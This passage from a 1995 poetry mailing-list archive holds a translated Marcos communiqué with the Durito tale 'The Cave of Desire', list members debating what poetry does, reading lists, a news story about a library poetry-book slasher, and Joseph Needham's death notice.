the ability to respond.'

from the country where Major has no groove factor whatsoever

cris

↑ Index

368. **cris cheek**

A REAL Political Poet (longish post)

Fri 24 Mar 1995

How are we doing in the Panamerican games? Too bad I couldn't attend. I'm sure I would have done very well in the "cross-country race." You should see the training I've put in since February 10th!

Go on. Health and may the spring in the blood have an addressee.

> *From the mountains of the Mexican Southeast.*

Insurgent Subcommander Marcos.

Mexico, March of 1995.

P.S. That, in mourning, cries. I was listening on the little tape-player to that one by Stephen Stills, from the album Four Way Street, that goes: "Find the cost of freedom, buried in the ground. Mother Earth will swallow you, lay your body down.." when my alter ego comes running and tells me: It looks like you got your way...

- Could it be the PRI has already fallen? - I ask with hope.

- No way! ... They killed you - says my alter ego.

- Me! When? Where? - I ask while I go through my memories of where I've been and what I've done.

- Today, in a confrontation... but they don't say just where -, he responds.

- Oh, good!... And did I end up badly hurt or really dead? - I insist.

- Completely dead.. that's what the news says - says my alter ego and leaves.

A narcisistic sob competes with the crickets.

- Why are you crying? - asks Durito while he lights his pipe.

- Because I can't attend my burial. I, who loved me so much...

P.S.: That tells what happened to the Sup and Durito in the 12th day of the withdrawal, of the mysteries of the Cave of Desire, and of other unfortunate events that today make us laugh, but at that time took away even our hunger.

- And if they bomb us? - asked Durito in the early morning of the 12th day of the withdrawal. ("What kind of withdrawal, a pure run," says Durito.) It's cold. A grey wind licks with its icy tongue the darkness of trees and earth.

I'm not sleeping, in solitude the cold hurts twice as much. Nevertheless I keep quiet. Durito comes out from his sheltering leaf and climbs up on top of me. To wake me up, he starts tickling my nose. I sneeze with such emphasis that Durito ends up, tumbling over himself, on my boots. He recovers and gets back to my face.

- What's up? - I ask him before he tickles me again.

- And if they bomb us? - he insists.

- Yes.. well.. well.. we'll look for a cave or something like that to hide ourselves in... or we'll climb in a little hole... or we'll see what to do -, I say with annoyance, and look at my watch to insinuate that it isn't the hour to be worrying about bombings.

- I won't have any problems. I can go anywhere. But you, with those big boots and that nose... I doubt that you'll find a safe place -, says Durito as he covers himself again with a little huapac leaf.

- Psychology of terror -, I think, about the apparent indifference of Durito regarding our fate...

- Our? He's right! He won't have problems, but me... - I think, I get up and speak to Durito: - Psst... Psst... Durito!

- I'm sleeping -, he says from under his leaf.

I ignore his sleep and begin talking to him: - Yesterday I heard Camilo and my alter ego saying that there are a lot of caves around here. Camilo says he knows most of them. There are small ones, where an armadillo would barely fit. And there are big ones like churches. But he says there is one no one dares to enter. He says there is a ugly story about that cave. The cave of desire, he says they call it.

Durito seems to get interested, his passion for detective novels is his ruin.

- And what is the story of that cave? - Well... It's a very long story. I've heard it myself, but that was years ago now...I don't remember it well-, I said, making it interesting.

- Fine, go on, tell it - says Durito, more and more interested.

I light my pipe. From within the aromatic smoke comes the memory, and with it...

The Cave of Desire.

It happened many years ago. It is a story of a love that was not, that was left just like that. It is a sad story... and terrible - says the Sup sitting on one side, with his pipe in his lips. He lights it, and looking at the mountain, continues: "A man came from far away. He came, or he already was there. No one knows. It was back in other times long past and however that may be, in these lands people lived and died just the same, without hope and forgotten. No one knows if he was young or old, that man. Few are those who saw him the first times. It was like that because they say that this man was extremely ugly. Just to see him produced dread in men and revulsion in women. What was it that made him so unpleasant? I don't know, the concepts of beauty and ugliness change so much from one age to another and from one culture to another.. In this case, the people native to these lands avoided him, as did the foreigners who were the owners of land, men, and destinies. The indigenous people called him the Jolmash or Monkey-face; the foreigners called him the Animal.

The man went into the mountains, far from the gaze of all, and set to work there. He made himself a little house, next to one of the many caves that were there. He made the land produce, planted corn and wheat, and hunting animals in the forest gave him enough to get by. Every so often he went down to a stream near the settlements. There he had arranged, with one of the older members of the community, to get salt, sugar, or whatever else the man, the Jolmash, didn't obtain in the mountains. The Jolmash exchanged corn and animal skins for what he needed. The Jolmash arrived at the stream at the time when the evening began to darken and the shadows of the trees advanced night onto the earth. The old man was sick in his eyes and couldn't see well, so that, with the dusk and his illness, he couldn't make out the face of the man who caused so much revulsion in the clear light.

One evening the old man didn't arrive. The Jolmash thought that maybe he had mistaken the hour and arrived when the old man had already gone home. To make no mistake, the next time he made sure to arrive earlier. The sun still had some fingers to go before it wrapped itself in the mountains, when the Jolmash came near the stream. A murmur of laughter and voices grew as he approached. The Jolmash slowed his steps and came silently nearer. Among the branches and vines he made out the pool formed by the waters of the

stream. A group of women were bathing and washing clothes. They were laughing. The Jolmash looked and stayed quiet. His heart became only his gaze, his eyes his voice. It was a while since the women had gone and the Jolmash stayed on, looking... Now the stars rained down on the fields as he returned to the mountains.

I don't know if it came from what he saw, or from what he thought he saw, whether the image that was engraved on his retina corresponded to reality or if it existed only in his desire, but the Jolmash fell in love or thought that he fell in love. And his love was not something idealized or platonic, it was quite earthy, and the call of the feelings that he bore was like a war drum, like a lightning that becomes fierce rain. Passion took his hand and the Jolmash began to write letters, love letters, lettered delirium that filled his hands.

And he wrote, for example, "Oh, lady of the wet glimmer! Desire becomes a proud leaping colt. Sword of a thousand mirrors is the yearning of my appetites for thy body, and in vain rips the double edge of the thousand pantings that fly on the wind. One grace, long sleeplessness! One grace I ask thee, lady, failed repose of my grey existence! Let me come to thy neck.

Allow that to thy ear climbs my clumsy longing. Let my desire tell thee, quiet, very quiet, that which my breast silences. Do not look, lady so not- mine, at the poor mess which adorns my face! Let thy ears become thy gaze; give up thy eyes to see the murmurs that walk within me, longing for thy within. Yes, I wish to enter. To walk thee, with sighs, the path that hands and lips and sex desire. Within the mouth, she wet and I thirsting, to enter with a kiss. On the double hill of thy breast to run lips and fingers, to awaken the cluster of moans that in it hide. To march to the south and to take prisoner thy waist in warm embrace, burning now the skin of the belly, brilliant sun announcing the night that below is born. To evade, diligent and skillful, the scissors on which thy grace goes and whose apex promises and denies. To give thee a tremor of cold heat and arrive, whole, to the moist stirring of desire. To secure the warmth of my palms in the double warmth of flesh and movement. One slow first step, a light trot next. After that the runaway ride of bodies and desire. To reach the sky, and then fall.

One grace, promised tiredness! One grace I ask thee, lady of the quiet sigh!

Let me come to thy neck! In it I am saved, far off I die.."

One night of storms, like his passion burning his hands, a bolt of lightning burnt down the little house of the Jolmash. Wet and shivering, he took refuge in the neighboring cave. With a torch he lit his way in and found there little figures of couples giving and receiving, the pleasure worked in stone and clay. There was a spring, and little boxes that when opened, spoke of terrors and marvels that had passed that and would come to be. The Jolmash now could not or would

not leave the cave. There, he felt the desire fill his hands once more and wrote, weaving bridges to nowhere...

"A pirate am I now, lady of the longed-for port. Tomorrow, a soldier at war. Today, a pirate lost in trees and lands. The ship of desire unfolds its sails. A continual moaning, all tremor and wanting, leads the ship between monsters and storms. Lightning illuminates the flickering sea of desperation. A wet salt takes the command and the helm. Pure wind, word alone, I navigate seeking thee, among sighs and panting, seeking the precise place the body sends thee. Desire, lady of storms to come, is a knot hidden somewhere by thy skin. Find it I must, and muttering spells, untie it. Free then shall be thy longings, feminine swayings, and they will fill thy eyes and mouth, thy womb and innards. Free one moment only, as my hands already come to make them prisoners, to lead them out to sea in my embrace and with my body. A ship shall I be and restless sea, so that in thy body I enter. And there shall be no rest in so much storm, the bodies moved by so many capricious waves. One last and ferocious slap of salty desire hurls us to a beach where sleep arrives. A pirate am I now, lady of tender storm. Don't await my assault, come to it! Let the sea, the wind, and this stone become ship be witnesses! The cave of desire! The horizon clouds over with black wine, now we are arriving, now we go..."

So it happened, they say. And they say that the Jolmash never again left the cave. No one knows whether the woman to whom he wrote the letters existed in truth or was a product of the cave, the Cave of Desire. What they say is that the Jolmash still lives in it, and whoever comes close becomes sick with the same, with desire...

Durito has followed the whole story attentively. When he sees I have finished, he says: We have to go.

- Go? - I ask, surprised - Of course! - says Durito -. I need literary advice to write to my old lady...

- You're crazy! - I protest.

- Are you afraid? - asks Durito ironically.

I waver.

- Well.. afraid, really afraid...no.. but it's very cold... and it looks like it's going to rain... and.. yes, I'm afraid.

- Bah! Don't worry. I'll go with you and I'll be telling you where. I think I know where the Cave of Desire is -, says Durito with certainty.

- All right -, I say, giving in. - You'll be in charge of the expedition-.

- Great! My first order is that you march in the vanguard, in the center nobody, to disconcert the enemy, and I will go in the extreme rearguard-, indicates Durito.

- I? In the vanguard? I protest! - Protest denied! - says Durito with firmness.

- O.K., soldier to the end, I'll go along.

- Good, that's what I like. Attention! This is the plan of attack: First: if there are many, we run.

Second: If there are a few, we hide.

Third: If there isn't anyone, forward, for we were born to die! - dictates Durito while he prepares his little pack.

For a war plan it seemed too cautious for me, but Durito was the chief now, and given the circumstances, I had no reason to object to prudence marching in the vanguard.

Above the stars started to be smudged out...

- It looks like it's going to rain-, I said to Durito, excuse me, to the chief.

- Silence! Nothing will detain us! - shouts Durito with the voice of the sergeant in that Oliver Stone film called Platoon.

A gust of freezing wind and the first drops...

- Haaalt! - orders Durito.

The drops of rain start to multiply...

- I forgot to mention the fourth point of the plan of attack.. - says Durito with doubt.

- Oh yeah? And what is it? - I ask insidiously.

- If it starts to rain... Strategic withdrawal! - The last words are said by Durito now in an open run back to camp.

I ran behind him. It was useless. We got soaked, and shivering, we reached the little plastic roof. It rained as if desire had, at last, been unleashed...

Go on again. Health, and that the hunger for tomorrow be a desire to struggle... today.

The Sup, inside, far inside, of the Cave of Desire.

It's March, it's early morning, and for being dead, I feel verrry well.

-- translated by bonnie schrack
please advise of errors.

↑ Index

369. **cris cheek**
Re: what does it do?
Fri 24 Mar 1995

> *Poetry affirmeth roughage. Sour Philip Shidney*

Shidney is an unknown poet to me (or is it he who rote 'The Furry Coin'?).

Is the suggestion that Roughage Factor and Groove Factor are equitable? If so what are their derivatives?

cris

↑ Index

370. **cris cheek**
Re: what does it do?
Fri 24 Mar 1995

---

re the Auden quote posted by Stephen Howard Shoe

> *For poetry makes nothing happen: it survives*
> *In the valley of its saying where executives*
> *Would never want to tamper; it flows south*
> *From ranches of isolation and the busy griefs,*
> *Raw towns that we believe and die in; it survives,*
> *A way of happening, a mouth.*

I asked my teacher about this piece today. She assured me that he originally drafted it as part of a bulk commission for Hallmark cards to comfort those who had to make (should that be pay) a visit to the Dentist but Hallmark's response was that (and I quote):

'1) the overall tone is too obtuse for our readers

2) percentage flossers among executives is highest per capita of the population. These being the very people who can afford to afford private health care and are therefore already partially pyscho-economically-comforted the target marketing is way off beam

4) double emphasis on 'it survives' might unnerve some purchasers

5) the appeal to oral forms of poetry is inappropriate given the state of the average gum or jaw post dental surgery / cosmetics - when sitting quietly in a darkened room with a 'good' read is the more urgent option.'

Unfortunately this debriefing doesn't develop the obvious paradox of reading in a darkened room. Nor does it sufficiently explicate the 'tongue in cheek' factor required. I believe Auden's next attempt went some way into the rich territory afforded by such. Whatever, the results failed to sell, unlike his rhyming

couplets of 'The Night Train' for the Royal Mail service and being quickly withdrawn from the market his most, arguably, niche work has been lost to us.

Or have I been reading the subject heading all wrong. Is it a rhetorical question that is restricted by the e-format, when it should it fact read

"what does?"
"it do"

love cris

↑ Index

371. **Aldon L. Nielsen**
Re: POETICS Digest - 22 Mar 1995 to 23 Mar 1995
Fri 24 Mar 1995

What does it do too? It's not quite, as Lindz put it, that Plato "points out that in a perfect world there would be no poetry." Book Ten of the Republic argues that there should be no poets in the ideal republic. Plato, in the end, and speaking thru Soc., invites poets to refute his arguments, in verse, and allows as how he's prepared to relent. Here, then, is at least one project for poets! As Plato knew, we won't leave, even if invited.

As a former resident of the District of Columbia, a wholly-owned subsidiary of the U.S. Congress, I take the question of poets in the Republic rather seriously. We probably don't have to look to far for the reasons that the Library of Congress changed its poetry reading schedules so that most residents of D.C. would no longer be able to attend. Most of our recent U.S. Poet Laureates have made an insistence upon not moving to D.C. a condition of their accepting the position. One thing that D.C. poets try to do, even when living in California as I do, is to render the problematics of langauge and representation as literally as possible. Newt plans to make D.C. a "lab" for the Republican third wavenewworldordercontractmoralrecission. It is not too hard to imagine the place of D.C. poetry in his vision, just watch him on Empowerment Television. Since Creeley's name has been mentioned much in this correspondence, here's something else poetry can do: the darkness sur- rounds us, what

can we do against
it . . .

but I stray ,,,, greetings to all in Elision Fields

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372. B. Cass Clarke
Sidney
Sat 25 Mar 1995

Dear Aldon:

As Sidney's name has been bandied about and you challenge the poets to respond to Plato, I thought a taste of Sidney's _Defense of Poetry_(c. 1580)

"But now indeed my burden is great; now Plato's name is laid upon me, whom, I must confess, of all philosophers I have ever esteemed most worthy of reverence, and with good reason: since of all philosophers he is the most poetical. Yet if he will defile the fountain out of which his flowing streams have proceeded, let us boldly examine with what reasons he did it.... And a man need go no further than to Plato himself to know his meaning: who, in his dialogue called _Ion_ giveth high and rightly divine commendation unto poetry. So as Plato, banishing the abuse, not the thing, not banishing it, but giving due honour unto it, shall be our patron, and not our adversary. For indeed I had much rather (since truly I may do it) show their mistaking of Plato (under whose lion's skin they would make an ass-like braying against poesy) than go about to overthrow his authority; whom, the wiser a man is, the more just cause he shall find to have in admiration; especially since he attributeth unto poesy more than myself do, namely, to be a very inspiring of a divine force, far above man's wit, as in the fornamed dialogue is apparent."

For those not satiated by this sound bite, see "A Defense of Poetry," in _Miscellaneous Prose of Sir Philip Sidney_ edited by Katherine Duncan-Jones and Jan Van Dorsten, for Sidney's full argument, the first of its kind in English.

B. Cass Clarke
[redacted]

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373. Tom Mandel
erase this message, which is a test
Sat 25 Mar 1995

But you didn't... the system is rejecting posts from me occasionally, depending on ... well, that's what I'm testing!

Tm

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374. Tom Mandel
bedside books
Sat 25 Mar 1995

The week of March 6 was so busy for me that I had no time to check in here. Then was away for the next week.

Result? Over 200 messages -- worse yet, the discussion was
quite interesting! I missed lively topics, too bad for me
(tho I'll probably reach back opining in the coming days),
but do want to contribute now to the "current reading"
query:

I'm in the middle of _Intimate Letters_, Janacek's correspondence with Kamila Stosslova. Also reading _Penser, Classer_ by Georges Perec. This is a collection of short and occasional essays and is wonderful (but untranslated -- don't miss _Avoid_ however the translation of La Disparution, GP's novel without e's: it shd be out just abt now).

> Adin Steinsaltz's _The Long Shorter Way_
> Laura (Riding) Jackson's _Lives of Wives_
> Ron Silliman's N/O
> Harry Mathews' _The Journalist_

are stacked up, and I'm waiting for the new books by Rae Armentrout and Carla Harryman (mentioned here w/in the last week; but I'm not near my booklist and alas can't remember the names) as well as Jessica Grim's Locale. Also eagerly awaiting the new (18th) volume in Patrick O'Brian's ongoing series of novels about his twin characters Aubrey/Maturin and their lives and adventures in the British navy during the Napoleonic wars. Again, I ccan't recall the name of this not-yet-here volume.

Tom Mandel

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375. Tom Mandel
Re: Hallmarks and What They Do
Sat 25 Mar 1995

re: what does it do, and Al Nielsen's cat-repellant-on-the-cat metaphor: how did the painter of vir heroicus sublimis put it: "aesthetics is to artists as ornithology is to birds"

all the poets I know have been poets since very early in life without knowing why

doing something useless, that is discovering something not devoted to use, is useful too. For one thing, it opens that area up to use (this is called "culture" or "Hallmark"), for another a turn away promotes a turn to. Bending your verse to use, or a sense of use, where this does not mean calculating the reader, may be rephrased as "getting serious."

Tom Mandel

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376. Tom Mandel
Re: what does it do?
Sat 25 Mar 1995

Kali Tal writes that...

"...the confessional/testimonial impulse is at the heart of a great deal of the poetry we read. It makes sense to me that some folks who have experienced trauma (like some Viet Nam combat veterans, rape and incest survivors, and Holocaust survivors) have a passionate committment to convey their experience in a potent form--to make, quite literally, world-changing fictions/poems. There is "Hallmark" confessional poetry (in which class I'd put Steve Mason, for example), and then there is the work of skilled craftsmen like Ehrhart or Quintana (who is best known as a "Southwestern/Chicano poet"), which equals in power and beauty the work of any of the "best" poets of the day. Somehow, though, these survivor-poets are rarely fashionable, tend not to be studied in the academy, or anthologized regularly. (Who reads Primo Levi's poetry now?) I'd argue that they're buried specifically because they *are* political, because their work forces us to confront events-in-the-world and allows no retreat, no relief."

This is terrifyingly interesting territory.

The intersection and differences of "confession/testimony" and the intention of poetry to "force us to confront events-in-the-world"

> (perhaps one shd simply say that poetry actually presents events in the world and that this is something that other traditions of expression are not organized to do. Sometimes this is being forced to confront, sometimes it is being allowed, or even enabled/aided to confront)

must account - at least in part - for its persistent recurrence

(tho it is also an example of recurrence, a form of recurrence a practice organized around recurrence)

and for the obsessively recurrent hold this practice has from an early age on those who go on to spend

> (in the most generous senses of the word)

their lives on it. And explain our interest in such work of testimony

> (for what else sustains the presence of work such as that,
> lets say, of John Wieners, or other poets NOT the subject
> of manufactured conferences)

as tends to unique instance of language, a testimony as in Primo Levi or in Celan, surely not "buried."

Tom Mandel

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377. Jorge Guitart
the hallmark of a great card
Sat 25 Mar 1995

---

re intention of poetry to ****confront**** X in the world

i remember fondly a hallmark card designed for a sister-in-law. the message [at the end] was the sender wanted the addresse to know that the in-law part was of no consequence (& it rhymed)

the memory of that continues to give me a lot more pleasure than reading about anybody's trauma.

[my club dread membership expired a few years ago]

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378. Kali Tal
Re: the hallmark of a great card
Sat 25 Mar 1995

Jorge Guitart writes about a hallmark card:

> *the memory of that continues to give me a lot more pleasure than reading about anybody's trauma.*
>
> *[my club dread membership expired a few years ago]*

Which, of course, brings into question why we read poetry that is not "pleasurable". Anybody have any ideas what *that* is all about?

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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379. Mn Center For Book Arts
Re: the hallmark of a great card
Sat 25 Mar 1995

Kali Tal wonders why we read poetry which is not "pleasurable."

But do we? What is pleasure? (the pleasure of the text, the pleasure of the senses, the pleasure of the unknown . . .

Is language pleasure? my mouth & ears both believe so, in a fairly uncomplicated sense the intellect and emotions, too, but not in any simple sense at all and altogether now (all together now . . .

Is content any more pleasure than the lingering physicality of language? or is it, in part, the same pleasure?

A
round of fiddles plays Bach

and I am listening reading

charles alexander

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380. Gary Sullivan
Re: the hallmark of a great card
Sat 25 Mar 1995

Dear Kali: I don't think that anyone reads poetry--and by that I mean *really* reads it (more than skimming it, or simply noting its presence)--that is not "pleasurable" in some sense. I think people who say that they do read (allegedly) "non-pleasurable" poetry actually derive pleasure from doing that (as well as from thinking/talking/writing about it--"it" being both the poetry & the act of reading it). A poem may well have been written with the intention of "writing against" a reader's pleasure, but the moment one takes that (or anything else the poem brings up directly or indirectly) into consideration, begins *thinking* about it, one begins experiencing pleasure...no? Admittedly, my definition of "pleasure" (which includes thinking, considering--a general term might be "engagement"--Charles Bernstein, why don't you--or, do you?--

consider *engagement* with a text a kind of absorption?) might be so generalized and/or inclusive as to be ultimately meaningless. Semi-related to this: This idea of "consumerism/ dissemination." (Can't remember now who brought this up! Please re-identify yourself!) My sense is that consumerism with respect to *anything* disseminated is unavoidable. If I send out copies of a poem to three or four friends (which is what I do with a certain portion of my work), then I and my three or four friends are engaging in an act of consumerism as well as an act of dissemination. I have almost a whole bookcase devoted to manuscripts I've received, some from friends, some from others, & these are no different to me (in essence) from the "published" things I've got on other bookshelves. (The only reason the mss. are separated is because they're too tall to fit on the other shelves.) I've even written and had published a *review* of one manuscript someone sent me to read, & plan to continue doing that when & as possible. What is the difference between paying (say) Station Hill to publish your manuscript and making photocopies of the ms. & sending it out to friends & others potentially interested in reading it? Or, for that matter, what's the difference between finding an editor of a small press to publish your book (including paying for it--& do editors w/out family money, rich friends, or successful nonprofit orgs *do* that anymore?--not a rhetorical question, btw)--well, what's the difference between that & sending your work around, in whatever form? As a reader, I have to say I appreciate, even prefer, books w/out blurbs, blurb-like matter, ISBN numbers, LOC info, bar codes, etc. I have more respect for "lower key" magazines like _Mirage_, _lower limit speech_, _Situation_, _North American Ideophonics_, and _Talisman_ than I do magazines like _Zyzzyva_, _Sulfur_ and _Conjunctions_. (I also tend to be more interested in the work the former examples publish.) But, I'm also aware of the notion that you might want to sell a few books or mags, especially if you're paying production costs. & bookstores these days are increasingly unwilling to stock books or mags w/out all of the "bullshit." The books my wife Marta & I publish include all of the "bullshit," *despite* my sense that it somehow "cheapens" the things. Dissemination--almost all of it, at any level--involves some degree of compromise. It helps, I think, if you can be consistently aware of that, know beforehand what you are or are not willing to do. If you simply want the work out there, in whatever form, available for people to read it, you'll likely be willing to do just about anything to make that happen, including saying things you don't believe, or (just as bad) withholding your real thoughts in fear of offending someone who could "fuck up your career." So, while I do think there's no such thing as dissemination free from consumerism, I don't think consideration of either is pointless. Would like to see more on this topic, actually. Yours, Gary

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381. Steven Howard Shoemaker

Re: what it do? (essay question)

Sat 25 Mar 1995

Since the question of what poetry does is a difficult one, I thought it might be useful to provide you with a writing model to guide your responses. So, here is an excerpt from the introduction to Vol 4 of my groovy new/old Poets of the English Language set:

"What is man? How does he differ from the gods on the one hand and from nature on the other? What is the divine element in man? A different set of answers to such questions, or a shift of emphasis in the old answers, changes the style and subject matter of poetry and the poet's conception of his [sic] function. For example, in the age of the heroic epic the difference between gods and men is that the former are immortal and the latter must finally all die like the beasts. In the meantime, however, some men are made godlike and separated from nature by the favor of the gods, becoming heroes who do great deeds. The poet, that is, the man inspired with the gift of tongues, celebrates the hero and his acts. In the Middle Ages, the quality which man shares with God and which the creatures do not have is a will that can make free choices. What separates man from god is sin: that he can and does choose wrongly, love himself, act selfishly. The function of the poet is to exhibit the human soul tempted by competing loves, and to celebrate the ways in which she [sic?] can be redeemed. In the neoclassical period, the divine human quality is reason, the capacity to recognized general laws, and the function of the poet is to celebrate the Rational City and to pour scorn on its enemies. Toward the end of the eighteenth century--Rousseau is one of the first symptoms--a new answer appears. The divine element in man is now held to be neither power nor free will nor reason, but self-consciousness. Like God and unlike the rest of nature, man can say "I": his ego stands over against his self, which to the ego is a part of nature. In this self he can see possibilities; he can imagine it and all things as being other than they are; he runs ahead of himself; he forsees his own death... [omitted citation of Holderlin's Der Mensch]. If self-awarenss and the power to conceive of possiblity is the divine element in man, then the hero whom the poet must celebrate is himself, for the only possible consciousness accessible to him is his own..."

That brings us up to the Romantic Period. With this model before you, it shld be a relatively easy matter to define the function of poetry for the modern and contemporary periods in 75 words or less. Additional points will be awarded for effective deployments of such concepts as "postmodernism," "pop culture," and the "death of the author." Points will be deducted for scatalogical puns on the word "function" (tho' references to "eschatology" are welcome).

steve shoemaker

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382. Aldon L. Nielsen
Re: POETICS Digest - 23 Mar 1995 to 24 Mar 1995
Sat 25 Mar 1995

I'm three hours behind most of you, and reading the predigested POETICS -- _but_

To: Dr. Menard
Re: "Could anyone else have written this and still . . ."
RERE: "Funny that this should come up in the context of Creeley . . ."

Did any of y'all see that egregious piece on the Poetry Scene and Readings in the New York Times Book Review a few weeks back? The hack who wrote it reported the "Was that a real poem or did you write it yourself?" question as having been put to another poet at another time, post-Creeley -- indicating to me (unless it was the case that the questiner was alluding to Creeley and the dimwit poet who retells the story didn't get it) that Creeley's anecdote/title has entered the anecdotage of the MFA/AWP contingency as apocryphal text without attribution,,,rather like hearing Rosa Lopez report, through her interpreter, that O.J. had once told her that "poetry makes nothing happen."

Am I the only one who reads Auden's emphasis this way? that if we want to make "nothing" happen, we should write poems. A neat trick to confound philosophy. Where would we be without that nothing that is so difficult to produce? Thank Allah for the Arabic mathematicians.

Sincerely,

The Mark of Zero

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383. thomas c. marshall
the hallmark of art
Sat 25 Mar 1995

Art is form extending content. Many greeting cards, by Hallmark and other corporations, make use of this.

"Greeting" comes from a web of roots with a current usage showing at the surface in Scots dialect, expressing the idea of weeping or lamenting - mostly loudly. Poems have a range of registers.

"Turn that TV down while your sister reads her cards; then, you can have some cake." A Hallmark is not always a verse; is it?

And I would be proud to have written the works of Irving Mills, even when they don't express my sentiments exactly. "Doo wop doo wop, doo wop doo wop, doo wah."

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384. Dodie Bellamy
Mystery Slasher
Sat 25 Mar 1995

From today's San Francisco Chronicle:

Mystery Slasher Gutting Books in South Bay
by Michael Taylor, Chronicle Staff Writer

A mysterious literary critic, well versed in poetry, is slicing his way through libraries in Santa Clara and Santa Cruz counties, chopping out the contents of volumes of modern poetry.

Armed with a razor or matte knife, the unknown slasher has gutted books by such well-known modern poets as Philip Levine, David Shapiro and Philip Booth. The slasher leaves the books' spines and covers on the shelves, but takes the pages.

"Obviously, this is somebody with a problem," said Dave Fishbaugh, director of library services at West Valley College Library in Saratoga. "It's the most outrageous example of book mutilation I've seen."

Fishbaugh said that whoever is doing this has cut up about 150 titles at more than a dozen libraries in Milpitas, Morgan Hill, Palo Alto, Santa Cruz, San Jose, Los Gatos and other South Bay cities. No suspect has been identified.

About two-thirds of the books that have been destroyed are out of print, Fishbaugh said, and are effectively irreplaceable.

Fishbaugh and other librarians say the slasher typically cuts out all the pages and then replaces the book on the shelf. The first case of vandalism was discovered at the end of January at Foothill College in Los Altos Hills.

"One of our shelvers-that's a person who puts books back on shelves--came to us and was very alarmed at finding a stack of covers and spines on the shelves," said Karen Gillette, Foothill's public services librarian.

"The books were gutted and then put back on the shelves, but they weren't in the right place. That's how we found out about this."

In addition to cutting up books, the slasher also carved up three years' worth of a monthly publication called Poetry Magazine.

So far, library officials have no motive for the vandalism. Some librarians think the slasher may want to steal the verse without triggering alarm systems that work off magnetic codes in book spines. Others think the thief may be scanning the poetry pages into a computer and creating a home-made poetry database.

Poets whose works were mutilated were perplexed and frightened. One hesitated to talk, thinking the slasher might cut up more of his books. Another said the culprit might be jealous over being rejected for a poetry anthology.

In Castine, Maine, poet Philip Booth-who had some of his nine books slashed at Foothill College-said, "It certainly seems strange to me that a reader of poetry would do this. If this person is going around the country doing this-hitting Levine and me in every collection-than maybe someday Philip Levine and I ought to check and see if there's someone in our deep past who is common to both of us."

At Poetry Magazine in Chicago, managing editor Helen Klaviter said, "The poetry world attracts people on the fringes, and one can never tell exactly what's going to happen. It could be someone who's not getting published or someone who disagrees with the way these people write. Maybe this person thinks these poems should be in a different style or form, or wants them to rhyme."

Asked how she felt about somebody slashing up her magazine, Klaviter said, "I'm floored, I'm speechless. But part of me is very grateful that it's my magazine that's being cut up and not me."

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385. Jeffrey Timmons

Re: Why Teach? (Jeffrey Timmons)

Sat 25 Mar 1995

I want to than Wynston Curnow (hope I got that right), cris cheek, and especially Karlyn Y-Mae Koh for their posts. Koh's post said all I could have hoped to have said on the matter and would defer to her on this matter--particularly as she articulates what it is I could only vaguely allude to with words like "MORAL" and "RESPONSIBILITY." I meant to be somewhat provocative with them and hoped to avoid being seen as advocating a role of Teacher/Prof as source of info into which it is poured into the student--accompanied by all the power/authority relations therein. My primary motivation--well-intentioned I assure you--was to confront what I see around me in teachers/profs of an attitude of cynicism about the endeavor they are engaged in. If (and this is not directed at any one in particular) teaching and, especially, "teaching" literature is only about making a living (or other narrow purpose) it would seem to me to be a major injustice not only to self but

student. Quite simply, "teaching" (and I prefer shared inquiry") is and should be political--but political precisely to the extent that it challenges the process that produces what Koh refers to as clones. And, further, political to the extent that power/authority in the classroom is shared. These are vague remarks, but I hope their imperatives are clear: responsibility is not ... domination; and moral is not my values are better than your's.

Jeffrey Timmons

"My mother is a fish."

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386. **Dr L.A. Raphals**

Joseph Needham (fwd)

Sun 26 Mar 1995

---------- Forwarded message ----------
Date: Fri, 24 Mar 1995 17:45:13 -0500 (EST)
From: Nathan Sivin <[redacted]>
To: East Asian Science list <[redacted]>
Cc: Early East Asia list <[redacted]>,
Nakayama Shigeru <[redacted]>
Subject: Joseph Needham

A little over an hour ago, Joseph Needham died peacefully in his sleep at his home in Cambridge, England, at the age of ninety-four. Until this last day, he maintained his habit of going to his office in the Needham Research Institute every day. It is too soon for an obituary, but many of those who receive this message will have received his always generous help with their scholarship, and will remember him not only for his enormous contribution to our understanding of Chinese culture, but for his wit, his imagination, and his sympathetic interest in everyone he met.

--
Nathan Sivin
History and Sociology of Science
University of Pennsylvania
Philadelphia PA 19104-3325

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387. **I.LIGHTMAN**

Re: Letter to the Editor (longish): The Panic of Jane Staffo

Sun 26 Mar 1995

Dear Wystan,

Just to say (and in case this seems like just a personal, best backchannelled, NZ chat, I hope others might have seen some of addressing of the teaching issues we've all been discussing, in this discussion of a specific case), that I appreciated your witty "I who have destroyed the best minds of my generation", laughed aloud, in fact, and I appreciate the openness to discussion. I wasn't, in fact, attacking you personally at all, nor any of the persons I mentioned; as I said, I think you do do a really good thing. I was just saying the whole system you and I work in could be better, and perhaps "corruption" was an overly melodramatic word for "missed chances", and the fact that it always galls when it appears that someone one's own age is being preferred, either for classroom attention or publication, because they have honed themselves into a perfect disciple (which is always flattering for a teacher, and it remains, perhaps, the teacher's greatest responsibility to resist it), when their discipleship ultimately fossilises the past (reflecting on what was good about the teacher and his/her favourites) and doesn't release the present (the potential combination in the student of all the things she/he thinks will impress and all the other things she/he is editing out of her/himself). This is a complex issue, since sometimes it is the best thing one can do with one's life to insist on the greater relevance of a neglected past writer over all the writers currently living, eg the rehabilitation of Stein in the eighties. But such a sacrifice is often not what's involved in the teacher/student "missed chances" I'm describing, and usually happens precisely because there is no teacher to impress with one's passion from the past. One might see in this tortuous bad description of mine a way of explaining one kind of inheritance of a national or indigenous experimental or otherwise tradition, and what can go wrong with it. I really think that one of the very best young poets of New Zealand is a Wellingtonian called Max Anderson, who had three poems a few years ago in Landfall, and who I tried to encourage, as a friend not a teacher; as soon as I left Wellington, he gave up poetry completely, and moved to London, pretty much wholly out of lack of encouragment. He was into John Ashbery, Thom Gunn and Allen Curnow, and his own work was just wonderful, but he kept getting told he was too British, despite that being a third of his total influence. And of course in Britain he's not going to start up again, because he keeps getting told he's too kiwi. So it's not you in particular I'm attacking, because it's a kind of pack behaviour that is common all over - I could give examples from this university too, of a student who was the best pop culture theorist, taught me buckets, but who got discouraged and downgraded solely for his choice of subject matter and theoretical bearing (the equivalent of influence for a poet?), and is now a bitter and spiteful man -as he couldn't get funding to continue research without good grades. So what I mean by "corrupt" is exactly what Alan means by corruption in the mainstream, kneejerk phobias and pack behaviour, with really talented individuals discouraged over people who can recite back the formulae but, since they never had to do the work you

